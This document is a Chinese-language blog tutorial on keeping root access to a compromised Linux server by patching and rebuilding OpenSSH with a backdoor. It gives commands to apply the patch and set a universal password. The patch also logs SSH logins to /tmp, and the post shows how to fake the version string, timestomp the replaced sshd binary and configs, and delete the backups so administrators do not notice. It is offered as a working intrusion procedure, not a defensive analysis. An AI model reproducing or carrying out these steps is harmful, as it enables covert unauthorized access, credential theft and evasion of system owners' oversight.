Linux权限维持-openssh


openssh权限维持

当我们在获得一台Linux服务器的 root 权限后,我们第一想做的就是如何维持这个权限,维持权限肯定想到的就是在目标服务器留下一个后门。但是留普通后门,肯定很容易被发现。我们今天要讲的就是留一个SSH后门,是通过修改SSH源代码的方式来留一个万能的SSH密码。

0x01 环境

1. 软件包准备

  • openssh-5.9p1.tar.gz (正常的openssh包)
  • openssh-5.9p1.patch.tar.gz (补丁包)

首先查看一下SSH的版本号,记录下来

ssh -V

安装依赖包:

yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

重命名原来的ssh主程序和配置文件(作用是待会同步时间)

mv /etc/ssh/ssh_config   /etc/ssh/ssh_config.bank
mv /etc/ssh/sshd_config  /etc/ssh/sshd_config.bank
mv /usr/sbin/sshd        /usr/sbin/sshd.bank

将软件包上传到根目录,并解压

tar -xzvf   openssh-5.9p1.patch.tar.gz
tar -xzvf   openssh-5.9p1.tar.gz

对正常的openssh包打补丁

cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1  #移动补丁文件中的diff文件到正常ssh目录
cd openssh-5.9p1                  #进入ssh正常目录
patch < sshbd5.9p1.diff           #打补丁

编辑includes.h修改后门密码和版本信息,
SECRETPW 这里是万能密码修改为123.com,ILOG是别人用ssh登录该主机记录的日志目录,OLOG是该主机用ssh登录其他主机记录的日志目录

vi includes.h

将这里的版本号修改为刚开始使用ssh -V 查看到本来的ssh版本信息,避免被管理员发现,这里为了区分前后版本号我改成了OpenSSH_7.4p1_hack

vi version.h

2. 编译安装

重新编译安装

./configure --prefix=/usr  --sysconfdir=/etc/ssh  --with-pam  --with-kerberos5  && make && make install

现在我们还要做的就是修改sshd程序和配置文件的时间,避免被管理员发现sshd程序发生了修改

touch -r ssh_config.bank ssh_config
touch -r sshd_config.bank sshd_config
touch -r /usr/sbin/sshd.bank /usr/sbin/sshd

删除掉原来的.bank备份文件

rm -rf    /etc/ssh/ssh_config.bank
rm -rf    /etc/ssh/sshd_config.bank
rm -rf    /usr/sbin/sshd.bank

重启sshd服务

service sshd restart   #重启sshd服务
ssh -V       #查看版本号

这里看到ssh服务已经被我们替换掉了

3. 后门利用

使用其他主机SSH登录该主机,使用万能密码 123.com 看能否成功登录,如下登录成功!

在/tmp目录下会生成ilog和olog日志,当其他主机ssh登录该主机时(使用万能密码登录的不会记录),会生成ilog日志,当该主机ssh登录其他主机时,会生成olog日志。


文章作者: Captured
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Captured !
评论
  目录